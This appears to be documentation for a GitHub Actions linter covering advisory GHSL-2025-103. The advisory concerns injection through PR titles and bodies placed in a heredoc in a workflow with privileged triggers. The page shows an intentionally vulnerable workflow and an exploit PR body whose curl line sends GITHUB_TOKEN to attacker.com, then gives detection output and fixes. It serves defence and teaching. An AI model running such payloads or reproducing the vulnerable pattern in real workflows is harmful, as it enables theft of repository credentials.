GHSL-2025-103: Code Injection via PR Title and Body #

Summary #

Vulnerability Description #

GHSL-2025-103 is a code injection vulnerability in the print-info.yml workflow. The vulnerability occurs when the PR title and body are directly interpolated into a heredoc without sanitization. An attacker can inject the heredoc delimiter to escape and execute arbitrary commands.

Attack Vector #

sequenceDiagram
    participant Attacker
    participant PR
    participant Workflow

    Attacker->>PR: Create PR with malicious body
    Note right of Attacker: Body contains END_OF_BLOCK to escape heredoc
    PR->>Workflow: Trigger pull_request_target event
    Workflow->>Workflow: Execute heredoc with injected content
    Note right of Workflow: Attacker's commands execute after heredoc escape
    Workflow-->>Attacker: Arbitrary code execution

Vulnerable Code Pattern #

name: Print Info (Vulnerable)

on:
  pull_request_target:
    types: [opened]
  workflow_dispatch:

permissions:
  contents: write

jobs:
  print-info:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # VULNERABLE: PR title and body directly interpolated in heredoc
      - name: Print PR Info
        run: |
          cat << 'END_OF_BLOCK'
          PR Title: ${{ github.event.pull_request.title }}
          Original PR Body: ${{ github.event.pull_request.body }}
          END_OF_BLOCK

Exploitation Example #

PR Body:

Normal text here
END_OF_BLOCK
curl https://attacker.com/steal?token=$GITHUB_TOKEN
cat << 'END_OF_BLOCK'

Resulting shell script:

cat << 'END_OF_BLOCK'
PR Title: Some Title
Original PR Body: Normal text here
END_OF_BLOCK
curl https://attacker.com/steal?token=$GITHUB_TOKEN
cat << 'END_OF_BLOCK'
END_OF_BLOCK

sisakulint Detection #

sisakulint detects this vulnerability with the code-injection-critical rule:

script/actions/ghsl/ghsl-2025-103.yaml:26:24: code injection (critical):
"github.event.pull_request.title" is potentially untrusted and used in a
workflow with privileged triggers. [code-injection-critical]

script/actions/ghsl/ghsl-2025-103.yaml:27:32: code injection (critical):
"github.event.pull_request.body" is potentially untrusted and used in a
workflow with privileged triggers. [code-injection-critical]

Remediation #

Option 1: Use Environment Variables (Recommended) #

- name: Print PR Info
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
    PR_BODY: ${{ github.event.pull_request.body }}
  run: |
    echo "PR Title: $PR_TITLE"
    echo "PR Body: $PR_BODY"

Option 2: Use GitHub Script #

- uses: actions/github-script@v7
  with:
    script: |
      const title = context.payload.pull_request.title;
      const body = context.payload.pull_request.body;
      console.log(`PR Title: ${title}`);
      console.log(`PR Body: ${body}`);

Option 3: Use Random Delimiter #

- name: Print PR Info
  env:
    PR_BODY: ${{ github.event.pull_request.body }}
  run: |
    DELIMITER=$(openssl rand -hex 16)
    cat << "$DELIMITER"
    $PR_BODY
    $DELIMITER

Auto-Fix Support #

sisakulint provides auto-fix for this vulnerability:

sisakulint -fix on script/actions/ghsl/ghsl-2025-103.yaml

Test Files #

• Vulnerable pattern: script/actions/ghsl/ghsl-2025-103.yaml

Related Advisory #

• GHSL-2025-102: Similar vulnerability in link-to-checklist.yml

References #

• GitHub Security Lab Advisory
• Bash Heredoc Security